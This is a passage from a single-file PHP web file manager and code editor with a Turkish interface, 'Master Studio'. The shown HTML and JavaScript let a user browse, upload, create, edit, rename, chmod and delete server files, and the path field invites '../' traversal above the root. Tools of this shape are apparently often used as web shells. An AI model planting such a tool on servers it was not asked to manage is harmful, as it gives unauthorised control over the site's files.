            background:rgba(34,48,79,.72);
        }
        .table-responsive { overflow-x:auto; }
        a { color:#9bdcff; }
        .text-muted { color:var(--muted) !important; }
        .alert-success {
            background:rgba(34,197,94,.12);
            border-color:rgba(34,197,94,.28);
            color:#d7ffe4;
        }
        .alert-danger {
            background:rgba(244,63,94,.12);
            border-color:rgba(244,63,94,.28);
            color:#ffd6de;
        }
        @media (max-width: 992px) {
            .actions-col { width:300px; }
            .name-cell { min-width:220px; }
            .CodeMirror { height:calc(100vh - 350px); min-height:360px; }
            .editor-findbar .field-block { min-width:100%; }
        }
    </style>
</head>
<body>
<div class="app-shell">
    <div class="hero-bar d-flex flex-wrap gap-3 justify-content-between align-items-center mb-3">
        <div>
            <h1 class="h4 mb-1">Master Studio</h1>
            <div class="text-muted small">Modern dosya yöneticisi ve kod editörü</div>
        </div>
        <div class="d-flex flex-wrap align-items-center gap-2">
            <span class="path-chip mono"><?php echo h($currentRel); ?></span>
            <span class="stat-chip"><?php echo h($dirCount); ?> klasor</span>
            <span class="stat-chip alt"><?php echo h($fileCount); ?> dosya</span>
            <a class="btn btn-sm btn-outline-secondary" href="<?php echo h($_SERVER["PHP_SELF"]); ?>">Anasayfa</a>
        </div>
    </div>

    <?php if ($msg !== "") { ?>
        <div class="alert alert-success py-2"><?php echo h($msg); ?></div>
    <?php } ?>
    <?php if ($err !== "") { ?>
        <div class="alert alert-danger py-2"><?php echo h($err); ?></div>
    <?php } ?>

    <div class="breadcrumb-bar">
        <?php foreach ($breadcrumbs as $index => $breadcrumb) { ?>
            <?php if ($index > 0) { ?><span class="crumb-sep"><i class="bi bi-chevron-right"></i></span><?php } ?>
            <a class="crumb-link mono" href="?file=<?php echo urlencode($breadcrumb["path"]); ?>">
                <?php if ($index === 0) { ?><i class="bi bi-house-door"></i><?php } ?>
                <?php echo h($breadcrumb["label"]); ?>
            </a>
        <?php } ?>
    </div>

    <?php if ($islem === "fedt" && $editingFile) { ?>
        <div class="toolbar mb-3 d-flex flex-wrap gap-2 align-items-center justify-content-between">
            <div>
                <div class="mono small mb-1"><?php echo h(rel_from_root($editingFile, $rootDir)); ?></div>
                <div class="text-muted small">
                    <?php echo h(human_size($editingSize)); ?> -
                    <?php echo $editingBinary ? "binary / read-only" : ($editable ? "text / writeable" : "text / read-only"); ?>
                </div>
            </div>
            <div class="d-flex gap-2">
                <a class="btn btn-sm btn-outline-secondary" href="?file=<?php echo urlencode(dirname(rel_from_root($editingFile, $rootDir))); ?>">
                    <i class="bi bi-arrow-left"></i> Klasöre Dön
                </a>
                <button form="editorForm" class="btn btn-sm btn-primary" id="saveBtn" <?php echo !$editable ? "disabled" : ""; ?>>
                    <i class="bi bi-floppy"></i> Kaydet (Ctrl+S)
                </button>
            </div>
        </div>
        <form id="editorForm" method="post">
            <input type="hidden" name="islem" value="save_file">
            <input type="hidden" name="efile" value="<?php echo h(rel_from_root($editingFile, $rootDir)); ?>">
            <input type="hidden" name="current_dir" value="<?php echo h(dirname(rel_from_root($editingFile, $rootDir))); ?>">
            <?php if ($editingBinary) { ?>
                <div class="terminal-note mb-3">Bu dosya binary olarak algilandi. Bozulma riskini onlemek icin editor read-only acildi; indirme veya yeni sekmede acma aksiyonlarini kullanabilirsin.</div>
            <?php } elseif (!$editable) { ?>
                <div class="terminal-note mb-3">Dosya okunabiliyor fakat yazma izni yok. Icerigi inceleyebilirsin, kaydetme kapali tutuldu.</div>
            <?php } ?>
            <div class="editor-findbar">
                <div class="field-block">
                    <label for="findInput">Bul</label>
                    <input type="text" id="findInput" class="form-control form-control-sm mono" placeholder="Aranacak metin">
                </div>
                <div class="field-block">
                    <label for="replaceInput">Degistir</label>
                    <input type="text" id="replaceInput" class="form-control form-control-sm mono" placeholder="Yeni metin">
                </div>
                <div class="find-actions">
                    <button type="button" class="btn btn-sm btn-outline-light" id="findPrevBtn"><i class="bi bi-arrow-up"></i> Onceki</button>
                    <button type="button" class="btn btn-sm btn-outline-primary" id="findNextBtn"><i class="bi bi-arrow-down"></i> Sonraki</button>
                    <button type="button" class="btn btn-sm btn-outline-warning" id="replaceBtn" <?php echo !$editable ? "disabled" : ""; ?>><i class="bi bi-pencil-square"></i> Degistir</button>
                    <button type="button" class="btn btn-sm btn-outline-danger" id="replaceAllBtn" <?php echo !$editable ? "disabled" : ""; ?>><i class="bi bi-arrow-repeat"></i> Tumunu Degistir</button>
                </div>
                <div class="find-status mono" id="findStatus">Hazir</div>
            </div>
            <div class="cm-wrap">
                <textarea id="codeArea" name="text"><?php echo h($editingContent); ?></textarea>
                <div class="status-line">
                    <span id="editorMeta" class="mono"><?php echo h($editorMode); ?></span>
                    <span id="editorCursor" class="mono">Ln 1, Col 1</span>
                </div>
            </div>
        </form>
    <?php } else { ?>
        <div class="toolbar mb-3">
            <div class="d-flex flex-wrap gap-2 align-items-center justify-content-between">
                <div class="d-flex gap-2">
                    <?php if ($currentRel !== "/") { ?>
                        <a class="btn btn-sm btn-outline-secondary" href="?file=<?php echo urlencode($parentRel); ?>"><i class="bi bi-arrow-up"></i> Üst Klasör</a>
                    <?php } ?>
                    <a class="btn btn-sm btn-outline-secondary" href="?file=/"><i class="bi bi-house"></i> Root</a>
                </div>
                <div class="d-flex gap-2">
                    <form method="get" class="d-flex gap-2">
                        <input type="hidden" name="islem" value="">
                        <input name="file" class="form-control form-control-sm mono" style="width:min(420px, 62vw);" value="<?php echo h($currentRel); ?>" placeholder="/veya/../../../yol">
                        <button class="btn btn-sm btn-outline-primary">Git</button>
                    </form>
                    <input id="filterInput" class="form-control form-control-sm" style="max-width:220px;" placeholder="Dosya filtrele...">
                </div>
            </div>
            <hr>
            <div class="toolbar-toggle-group mb-2">
                <button type="button" class="btn btn-sm btn-outline-primary toolbar-toggle" data-target="uploadForm"><i class="bi bi-upload"></i> Dosya Yukle</button>
                <button type="button" class="btn btn-sm btn-outline-info toolbar-toggle" data-target="folderForm"><i class="bi bi-folder-plus"></i> Klasor Olustur</button>
                <button type="button" class="btn btn-sm btn-outline-light toolbar-toggle" data-target="newFileForm"><i class="bi bi-file-earmark-plus"></i> Dosya Olustur</button>
            </div>
            <div class="d-flex flex-wrap gap-2 align-items-end">
                <form method="post" enctype="multipart/form-data" id="uploadForm" class="toolbar-panel d-flex flex-wrap gap-2 align-items-center">
                    <input type="hidden" name="islem" value="upload">
                    <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                    <input type="file" name="afile" class="form-control form-control-sm" style="max-width:250px;" required>
                    <button class="btn btn-sm btn-outline-primary"><i class="bi bi-upload"></i> Yükle</button>
                </form>
                <form method="post" id="folderForm" class="toolbar-panel mini-form d-flex gap-2">
                    <input type="hidden" name="islem" value="mkdir">
                    <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                    <input name="folder_name" class="form-control form-control-sm" placeholder="Yeni klasör" required>
                    <button class="btn btn-sm btn-outline-dark"><i class="bi bi-folder-plus"></i></button>
                </form>
                <form method="post" id="newFileForm" class="toolbar-panel mini-form d-flex gap-2">
                    <input type="hidden" name="islem" value="newfile">
                    <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                    <input name="file_name" class="form-control form-control-sm" placeholder="Yeni dosya (örn: test.php)" required>
                    <button class="btn btn-sm btn-outline-dark"><i class="bi bi-file-earmark-plus"></i></button>
                </form>
            </div>
        </div>

        <div class="bulk-bar mb-3">
            <div class="bulk-meta">
                <span class="stat-chip alt" id="selectedCount">0 secili</span>
                <span class="text-muted small">Secili dosya ve klasorler icin tasi, izin ver veya sil islemlerini tek yerden yonet.</span>
                <span class="context-hint">Sag tik menusu aktif.</span>
            </div>
            <div class="bulk-stack">
                <form method="post" id="bulkMoveForm" class="bulk-form bulk-action-form">
                    <input type="hidden" name="islem" value="bulk_move">
                    <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                    <div class="bulk-form-inline">
                        <div>
                            <input name="move_target" list="moveTargetList" class="form-control form-control-sm mono" placeholder="/hedef/klasor veya alt-klasor" required>
                            <datalist id="moveTargetList">
                                <?php foreach ($moveTargets as $moveTarget) { ?>
                                    <option value="<?php echo h($moveTarget); ?>"></option>
                                <?php } ?>
                            </datalist>
                        </div>
                        <button class="btn btn-sm btn-outline-primary" id="bulkMoveBtn" disabled>
                            <i class="bi bi-folder-symlink"></i> Secilileri tasi
                        </button>
                    </div>
                </form>
                <form method="post" id="bulkChmodForm" class="bulk-form bulk-action-form">
                    <input type="hidden" name="islem" value="bulk_chmod">
                    <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                    <div class="bulk-form-inline">
                        <div>
                            <input name="mode" class="form-control form-control-sm mono" placeholder="755 veya 0644" pattern="[0-7]{3,4}" inputmode="numeric" required>
                        </div>
						<input type="checkbox" name="recursive" value="1" title="klasörde alt ogeye de uygula" style="width:32px; height:32px;">
                        <button class="btn btn-sm btn-outline-warning" id="bulkChmodBtn" disabled>
                            <i class="bi bi-shield-lock"></i> Izin uygula
                        </button>

                    </div>
                </form>
                <form method="post" id="bulkDeleteForm" class="bulk-form bulk-action-form bulk-danger" data-confirm="Secili ogeler silinsin mi?">
                    <input type="hidden" name="islem" value="bulk_delete">
                    <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                    <div class="bulk-form-inline">
                        <div class="text-muted small">Secili ogeler geri alinmadan silinir.</div>
                        <button class="btn btn-sm btn-outline-danger" id="bulkDeleteBtn" disabled>
                            <i class="bi bi-trash"></i> Secilileri sil
                        </button>
                    </div>
                </form>
            </div>
        </div>

        <div class="table-wrap">
            <div class="table-responsive">
            <table class="table table-sm align-middle mb-0" id="fileTable">
                <thead class="table-light">
                <tr>
                    <th class="select-col"><input type="checkbox" id="selectAllRows"></th>
                    <th class="name-cell">Ad</th>
                    <th>Boyut</th>
                    <th>Izin</th>
                    <th>Tarih</th>
                    <th class="actions-col" style="">İşlemler</th>
                </tr>
                </thead>
                <tbody>
                <?php foreach ($items as $item) {
                    $name = $item["name"];
                    $path = $item["path"];
                    $itemRel = rel_from_root($path, $rootDir);
                    $isDir = $item["is_dir"];
                    $canEdit = !$isDir && can_open_file($path);
                    $isLinkable = !$isDir;
                    $permValue = permission_octal($path);
                    $publicUrl = "/" . ltrim(str_replace("\\", "/", rel_from_root($path, $rootDir)), "/");
                    ?>
                    <tr
                        class="file-row"
                        data-name="<?php echo h(strtolower($name)); ?>"
                        data-item-name="<?php echo h($name); ?>"
                        data-item-rel="<?php echo h($itemRel); ?>"
                        data-item-dir="<?php echo $isDir ? "1" : "0"; ?>"
                        data-item-edit="<?php echo $canEdit ? "1" : "0"; ?>"
                        data-open-url="?file=<?php echo urlencode($itemRel); ?>"
                        data-edit-url="?islem=fedt&efile=<?php echo urlencode($itemRel); ?>"
                        data-public-url="<?php echo h($publicUrl); ?>"
                        data-delete-url="?islem=fdel&file=<?php echo urlencode($currentRel); ?>&target=<?php echo urlencode($itemRel); ?>"
                        data-rename-panel="rename-<?php echo h(md5($itemRel)); ?>"
                        data-perm-panel="perm-<?php echo h(md5($itemRel)); ?>"
                    >
                        <td class="select-cell">
                            <input type="checkbox" class="row-selector" name="selected[]" value="<?php echo h($itemRel); ?>">
                        </td>
                        <td class="name-cell">
                            <i class="bi <?php echo h(icon_for($path)); ?> me-2"></i>
                            <?php if ($isDir) { ?>
                                <a href="?file=<?php echo urlencode($itemRel); ?>" class="text-decoration-none folder-link"><?php echo h($name); ?></a>
                            <?php } else { ?>
                                <span class="mono item-name"><?php echo h($name); ?></span>
                            <?php } ?>
                        </td>
                        <td><?php echo $isDir ? "-" : h(human_size($item["size"])); ?></td>
                        <td class="perm-cell mono"><?php echo h($permValue); ?></td>
                        <td class="date-cell"><?php echo $item["mtime"] ? date("Y-m-d H:i", $item["mtime"]) : "-"; ?></td>
                        <td>
                            <div class="actions-stack">
                                <div class="row-actions">
                                    <div class="dropdown">
                                        <button class="btn btn-sm btn-outline-secondary dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                            Islemler
                                        </button>
                                        <div class="dropdown-menu dropdown-menu-end">
                                            <?php if ($canEdit) { ?>
                                                <a class="dropdown-item" href="?islem=fedt&efile=<?php echo urlencode($itemRel); ?>"><i class="bi bi-code-square me-2"></i>Duzenle</a>
                                            <?php } ?>
                                            <?php if ($isDir) { ?>
                                                <a class="dropdown-item" href="?file=<?php echo urlencode($itemRel); ?>"><i class="bi bi-folder2-open me-2"></i>Klasoru ac</a>
                                            <?php } ?>
                                            <?php if ($isLinkable) { ?>
                                                <a class="dropdown-item" href="<?php echo h($publicUrl); ?>" target="_blank"><i class="bi bi-box-arrow-up-right me-2"></i>Yeni sekmede ac</a>
                                                <a class="dropdown-item" href="<?php echo h($publicUrl); ?>" download><i class="bi bi-download me-2"></i>Indir</a>
                                            <?php } ?>
                                            <div class="dropdown-divider"></div>
                                            <button type="button" class="dropdown-item row-panel-toggle" data-target="rename-<?php echo h(md5($itemRel)); ?>"><i class="bi bi-pencil-square me-2"></i>Yeniden adlandir</button>
                                            <button type="button" class="dropdown-item row-panel-toggle" data-target="perm-<?php echo h(md5($itemRel)); ?>"><i class="bi bi-shield-lock me-2"></i>Izin degistir</button>
                                            <div class="dropdown-divider"></div>
                                            <a class="dropdown-item text-danger" href="?islem=fdel&file=<?php echo urlencode($currentRel); ?>&target=<?php echo urlencode($itemRel); ?>" onclick="return confirm('Silinsin mi?')"><i class="bi bi-trash me-2"></i>Sil</a>
                                        </div>
                                    </div>
                                </div>
                                <div class="action-panel" id="rename-<?php echo h(md5($itemRel)); ?>">
                                    <form method="post" class="rename-form action-compact">
                                        <input type="hidden" name="islem" value="rename">
                                        <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                                        <input type="hidden" name="old" value="<?php echo h($name); ?>">
                                        <div class="w-100">
                                            <label>Yeni ad</label>
                                            <input name="new" value="<?php echo h($name); ?>" class="form-control form-control-sm">
                                        </div>
                                        <button class="btn btn-sm btn-outline-light"><i class="bi bi-check2"></i> Kaydet</button>
                                    </form>
                                </div>
                                <div class="action-panel" id="perm-<?php echo h(md5($itemRel)); ?>">
                                    <form method="post" class="d-flex flex-wrap gap-2 align-items-end action-compact">
                                        <input type="hidden" name="islem" value="chmod">
                                        <input type="hidden" name="current_dir" value="<?php echo h($currentRel); ?>">
                                        <input type="hidden" name="target" value="<?php echo h($itemRel); ?>">
                                        <div>
                                            <label>Izin</label>
                                            <input name="mode" value="<?php echo h($permValue); ?>" class="form-control form-control-sm mono" style="width:110px;" pattern="[0-7]{3,4}" inputmode="numeric">
                                        </div>
                                        <button class="btn btn-sm btn-outline-warning"><i class="bi bi-shield-lock"></i> Uygula</button>
                                    </form>
                                </div>
                            </div>
                        </td>
                    </tr>
                <?php } ?>
                <?php if (!$items) { ?>
                    <tr><td colspan="4" class="text-center py-4 text-muted">Bu klasörde öğe bulunamadı.</td></tr>
                <?php } ?>
                </tbody>
            </table>
            </div>
        </div>
        <div class="custom-context-menu" id="fileContextMenu">
            <div class="context-title" id="contextMenuTitle">Islem menusu</div>
            <button type="button" class="context-item" id="ctxOpenItem"><i class="bi bi-folder2-open"></i> Ac</button>
            <button type="button" class="context-item" id="ctxEditItem"><i class="bi bi-code-square"></i> Duzenle</button>
            <button type="button" class="context-item" id="ctxNewTabItem"><i class="bi bi-box-arrow-up-right"></i> Yeni sekmede ac</button>
            <button type="button" class="context-item" id="ctxDownloadItem"><i class="bi bi-download"></i> Indir</button>
            <div class="context-divider"></div>
            <button type="button" class="context-item" id="ctxRenameItem"><i class="bi bi-pencil-square"></i> Yeniden adlandir</button>
            <button type="button" class="context-item" id="ctxPermItem"><i class="bi bi-shield-lock"></i> Izin degistir</button>
            <div class="context-divider"></div>
            <button type="button" class="context-item text-danger" id="ctxDeleteItem"><i class="bi bi-trash"></i> Sil</button>
        </div>
    <?php } ?>
</div>

<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/meta.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/javascript/javascript.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/xml/xml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/clike/clike.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/php/php.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/sql/sql.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/markdown/markdown.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/yaml/yaml.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/shell/shell.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/python/python.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/properties/properties.min.js"></script>
<script>
    (function () {
        const filter = document.getElementById("filterInput");
        const selectAllRows = document.getElementById("selectAllRows");
        const bulkMoveBtn = document.getElementById("bulkMoveBtn");
        const bulkChmodBtn = document.getElementById("bulkChmodBtn");
        const bulkDeleteBtn = document.getElementById("bulkDeleteBtn");
        const selectedCount = document.getElementById("selectedCount");

        document.querySelectorAll(".toolbar-toggle").forEach(function (button) {
            button.addEventListener("click", function () {
                const targetId = button.getAttribute("data-target");
                document.querySelectorAll(".toolbar-panel").forEach(function (panel) {
                    panel.classList.toggle("open", panel.id === targetId ? !panel.classList.contains("open") : false);
                });
            });
        });

        document.querySelectorAll(".row-panel-toggle").forEach(function (button) {
            button.addEventListener("click", function () {
                const targetId = button.getAttribute("data-target");
                const currentRow = button.closest(".actions-stack");
                if (!currentRow) return;
                currentRow.querySelectorAll(".action-panel").forEach(function (panel) {
                    panel.classList.toggle("open", panel.id === targetId ? !panel.classList.contains("open") : false);
                });
            });
        });

        const updateSelectionState = function () {
            const rowSelectors = Array.prototype.slice.call(document.querySelectorAll(".row-selector"));
            if (!rowSelectors.length) return;

            let checkedCount = 0;
            rowSelectors.forEach(function (checkbox) {
                if (checkbox.checked) {
                    checkedCount++;
                }
                const row = checkbox.closest("tr");
                if (row) {
                    row.classList.toggle("row-selected", checkbox.checked);
                }
            });

            if (selectedCount) {
                selectedCount.textContent = checkedCount + " secili";
            }
            if (bulkMoveBtn) {
                bulkMoveBtn.disabled = checkedCount === 0;
            }
            if (bulkChmodBtn) {
                bulkChmodBtn.disabled = checkedCount === 0;
            }
            if (bulkDeleteBtn) {
                bulkDeleteBtn.disabled = checkedCount === 0;
            }
            if (selectAllRows) {
                selectAllRows.checked = checkedCount > 0 && checkedCount === rowSelectors.length;
                selectAllRows.indeterminate = checkedCount > 0 && checkedCount < rowSelectors.length;
            }
        };

        if (selectAllRows) {
            selectAllRows.addEventListener("change", function () {
                document.querySelectorAll(".row-selector").forEach(function (checkbox) {
                    checkbox.checked = selectAllRows.checked;
                });
                updateSelectionState();
            });
        }

        document.querySelectorAll(".row-selector").forEach(function (checkbox) {
            checkbox.addEventListener("change", updateSelectionState);
        });
        updateSelectionState();

        const syncSelectedInputs = function (form) {
            if (!form) return 0;
            form.querySelectorAll('input[data-bulk-selected="1"]').forEach(function (input) {
                input.remove();
            });
            const checkedItems = document.querySelectorAll(".row-selector:checked");
            checkedItems.forEach(function (checkbox) {
                const hidden = document.createElement("input");
                hidden.type = "hidden";
                hidden.name = "selected[]";
                hidden.value = checkbox.value;
                hidden.setAttribute("data-bulk-selected", "1");
                form.appendChild(hidden);
            });
            return checkedItems.length;
        };

        document.querySelectorAll(".bulk-action-form").forEach(function (form) {
            form.addEventListener("submit", function (event) {
                const checkedCount = syncSelectedInputs(form);
                if (!checkedCount) {
                    event.preventDefault();
                    return;
                }
                const confirmMessage = form.getAttribute("data-confirm");
                if (confirmMessage && !window.confirm(confirmMessage)) {
                    event.preventDefault();
                }
            });
        });

        if (filter) {
            filter.addEventListener("input", function () {
                const q = this.value.trim().toLowerCase();
                document.querySelectorAll("#fileTable tbody tr").forEach(function (tr) {
                    const name = tr.getAttribute("data-name") || "";
                    tr.style.display = (q === "" || name.indexOf(q) !== -1) ? "" : "none";
                });
            });
        }

        const emptyCell = document.querySelector("#fileTable tbody td[colspan]");
        if (emptyCell) {
            emptyCell.colSpan = document.querySelectorAll("#fileTable thead th").length || 6;
        }

        const contextMenu = document.getElementById("fileContextMenu");
        const ctxOpenItem = document.getElementById("ctxOpenItem");
        const ctxEditItem = document.getElementById("ctxEditItem");
        const ctxNewTabItem = document.getElementById("ctxNewTabItem");
        const ctxDownloadItem = document.getElementById("ctxDownloadItem");
        const ctxRenameItem = document.getElementById("ctxRenameItem");
        const ctxPermItem = document.getElementById("ctxPermItem");
        const ctxDeleteItem = document.getElementById("ctxDeleteItem");
        const ctxTitle = document.getElementById("contextMenuTitle");
        let activeContextRow = null;

        const hideContextMenu = function () {
            if (!contextMenu) return;
            contextMenu.classList.remove("open");
            activeContextRow = null;
        };

        const toggleRowPanel = function (row, panelId) {
            if (!row || !panelId) return;
            const stack = row.querySelector(".actions-stack");
            if (!stack) return;
            stack.querySelectorAll(".action-panel").forEach(function (panel) {
                panel.classList.toggle("open", panel.id === panelId ? !panel.classList.contains("open") : false);
            });
        };

        if (contextMenu) {
            document.querySelectorAll(".file-row").forEach(function (row) {
                row.addEventListener("contextmenu", function (event) {
                    event.preventDefault();
                    activeContextRow = row;

                    const isDir = row.getAttribute("data-item-dir") === "1";
                    const canEdit = row.getAttribute("data-item-edit") === "1";
                    if (ctxTitle) {
                        ctxTitle.textContent = row.getAttribute("data-item-name") || "Islem menusu";
                    }

                    if (ctxOpenItem) ctxOpenItem.style.display = isDir ? "flex" : "none";
                    if (ctxEditItem) ctxEditItem.style.display = canEdit ? "flex" : "none";
                    if (ctxNewTabItem) ctxNewTabItem.style.display = isDir ? "none" : "flex";
                    if (ctxDownloadItem) ctxDownloadItem.style.display = isDir ? "none" : "flex";

                    contextMenu.classList.add("open");
                    const menuWidth = contextMenu.offsetWidth || 220;
                    const menuHeight = contextMenu.offsetHeight || 260;
                    let posX = event.clientX;
                    let posY = event.clientY;
                    if (posX + menuWidth > window.innerWidth - 12) {
                        posX = window.innerWidth - menuWidth - 12;
                    }
                    if (posY + menuHeight > window.innerHeight - 12) {
                        posY = window.innerHeight - menuHeight - 12;
                    }
                    contextMenu.style.left = Math.max(12, posX) + "px";
                    contextMenu.style.top = Math.max(12, posY) + "px";
                });
            });

            const withActiveRow = function (callback) {
                return function () {
                    if (!activeContextRow) return;
                    callback(activeContextRow);
                    hideContextMenu();
                };
            };

            if (ctxOpenItem) {
                ctxOpenItem.addEventListener("click", withActiveRow(function (row) {
                    window.location.href = row.getAttribute("data-open-url");
                }));
            }
            if (ctxEditItem) {
                ctxEditItem.addEventListener("click", withActiveRow(function (row) {
                    window.location.href = row.getAttribute("data-edit-url");
                }));
            }
            if (ctxNewTabItem) {
                ctxNewTabItem.addEventListener("click", withActiveRow(function (row) {
                    window.open(row.getAttribute("data-public-url"), "_blank");
                }));
            }
            if (ctxDownloadItem) {
                ctxDownloadItem.addEventListener("click", withActiveRow(function (row) {
                    const link = document.createElement("a");
                    link.href = row.getAttribute("data-public-url");
                    link.setAttribute("download", "");
                    document.body.appendChild(link);
                    link.click();
                    document.body.removeChild(link);
                }));
            }
            if (ctxRenameItem) {
                ctxRenameItem.addEventListener("click", withActiveRow(function (row) {
                    toggleRowPanel(row, row.getAttribute("data-rename-panel"));
                }));
            }
            if (ctxPermItem) {
                ctxPermItem.addEventListener("click", withActiveRow(function (row) {
                    toggleRowPanel(row, row.getAttribute("data-perm-panel"));
                }));
            }
            if (ctxDeleteItem) {
                ctxDeleteItem.addEventListener("click", withActiveRow(function (row) {
                    if (window.confirm("Bu oge silinsin mi?")) {
                        window.location.href = row.getAttribute("data-delete-url");
                    }
                }));
            }

            document.addEventListener("click", function (event) {
                if (!contextMenu.contains(event.target)) {
                    hideContextMenu();
                }
            });
            document.addEventListener("scroll", hideContextMenu, true);
            document.addEventListener("keydown", function (event) {
                if (event.key === "Escape") {
                    hideContextMenu();
                }
            });
            window.addEventListener("resize", hideContextMenu);
        }

        const area = document.getElementById("codeArea");
        if (area) {
            const mode = <?php echo json_encode($editorMode); ?>;
            const readOnly = <?php echo $editable ? "false" : "true"; ?>;
            const editor = CodeMirror.fromTextArea(area, {
                lineNumbers: true,
                lineWrapping: false,
                mode: mode,
                theme: "material",
                indentUnit: 4,
                tabSize: 4,
                matchBrackets: true,
                autoCloseBrackets: true,
                readOnly: readOnly
            });
            const cursorInfo = document.getElementById("editorCursor");
            const metaInfo = document.getElementById("editorMeta");
            if (metaInfo) {
                metaInfo.textContent = mode + (readOnly ? " - read-only" : " - editable");
            }

            const findInput = document.getElementById("findInput");
            const replaceInput = document.getElementById("replaceInput");
            const findStatus = document.getElementById("findStatus");
            const setFindStatus = function (message) {
                if (findStatus) {
                    findStatus.textContent = message;
                }
            };

            const selectMatchAt = function (index, needleLength) {
                const from = editor.posFromIndex(index);
                const to = editor.posFromIndex(index + needleLength);
                editor.focus();
                editor.setSelection(from, to);
                editor.scrollIntoView({ from: from, to: to }, 80);
            };

            const findMatch = function (backward) {
                if (!findInput) return null;
                const needle = findInput.value;
                if (!needle) {
                    setFindStatus("Bul metni gir.");
                    return null;
                }

                const content = editor.getValue();
                if (!content) {
                    setFindStatus("Dosya bos.");
                    return null;
                }

                const selectedText = editor.getSelection();
                const anchorIndex = editor.indexFromPos(backward ? editor.getCursor("from") : editor.getCursor("to"));
                let nextIndex = backward
                    ? content.lastIndexOf(needle, Math.max(0, anchorIndex - (selectedText === needle ? 1 : 0) - 1))
                    : content.indexOf(needle, anchorIndex + (selectedText === needle ? 0 : 0));

                if (backward && nextIndex === -1) {
                    nextIndex = content.lastIndexOf(needle);
                }
                if (!backward && nextIndex === -1) {
                    nextIndex = content.indexOf(needle, 0);
                }
                if (nextIndex === -1) {
                    setFindStatus("Eslesme yok.");
                    return null;
                }

                selectMatchAt(nextIndex, needle.length);
                setFindStatus("Eslesme secildi.");
                return nextIndex;
            };

            const replaceCurrent = function () {
                if (readOnly) return;
                if (!findInput) return;
                const needle = findInput.value;
                if (!needle) {
                    setFindStatus("Degistirmek icin once bul metni gir.");
                    return;
                }
                const replacement = replaceInput ? replaceInput.value : "";
                if (editor.getSelection() === needle) {
                    editor.replaceSelection(replacement, "around");
                    setFindStatus("Secili eslesme degisti.");
                    findMatch(false);
                    return;
                }
                if (findMatch(false) !== null && editor.getSelection() === needle) {
                    editor.replaceSelection(replacement, "around");
                    setFindStatus("Eslesme bulundu ve degistirildi.");
                    findMatch(false);
                    return;
                }
                setFindStatus("Degistirilecek eslesme bulunamadi.");
            };

            const replaceAllMatches = function () {
                if (readOnly) return;
                if (!findInput) return;
                const needle = findInput.value;
                if (!needle) {
                    setFindStatus("Tumunu degistirmek icin bul metni gir.");
                    return;
                }
                const replacement = replaceInput ? replaceInput.value : "";
                const content = editor.getValue();
                if (content.indexOf(needle) === -1) {
                    setFindStatus("Degistirilecek eslesme yok.");
                    return;
                }
                const parts = content.split(needle);
                const replacedCount = parts.length - 1;
                editor.setValue(parts.join(replacement));
                setFindStatus(replacedCount + " alan degistirildi.");
                const firstIndex = editor.getValue().indexOf(replacement);
                if (firstIndex !== -1 && replacement !== "") {
                    selectMatchAt(firstIndex, replacement.length);
                } else {
                    editor.setCursor({ line: 0, ch: 0 });
                    editor.focus();
                }
            };

            const updateCursor = function () {
                if (!cursorInfo) return;
                const cursor = editor.getCursor();
                cursorInfo.textContent = "Ln " + (cursor.line + 1) + ", Col " + (cursor.ch + 1);
            };

            editor.on("cursorActivity", updateCursor);
            updateCursor();

            const findPrevBtn = document.getElementById("findPrevBtn");
            const findNextBtn = document.getElementById("findNextBtn");
            const replaceBtn = document.getElementById("replaceBtn");
            const replaceAllBtn = document.getElementById("replaceAllBtn");
            if (findPrevBtn) {
                findPrevBtn.addEventListener("click", function () {
                    findMatch(true);
                });
            }
            if (findNextBtn) {
                findNextBtn.addEventListener("click", function () {
                    findMatch(false);
                });
            }
            if (replaceBtn) {
                replaceBtn.addEventListener("click", replaceCurrent);
            }
            if (replaceAllBtn) {
                replaceAllBtn.addEventListener("click", replaceAllMatches);
            }
            if (findInput) {
                findInput.addEventListener("keydown", function (event) {
                    if (event.key === "Enter") {
                        event.preventDefault();
                        findMatch(event.shiftKey);
                    }
                });
            }
            if (replaceInput) {
                replaceInput.addEventListener("keydown", function (event) {
                    if (event.key === "Enter") {
                        event.preventDefault();
                        replaceCurrent();
                    }
                });
            }

            document.addEventListener("keydown", function (event) {
                const isSave = (event.ctrlKey || event.metaKey) && event.key.toLowerCase() === "s";
                const isFind = (event.ctrlKey || event.metaKey) && event.key.toLowerCase() === "f";
                const isReplace = (event.ctrlKey || event.metaKey) && event.key.toLowerCase() === "h";
                if (isFind) {
                    event.preventDefault();
                    if (findInput) {
                        findInput.focus();
                        findInput.select();
                        setFindStatus("Bul alani acik.");
                    }
                    return;
                }
                if (isReplace) {
                    event.preventDefault();
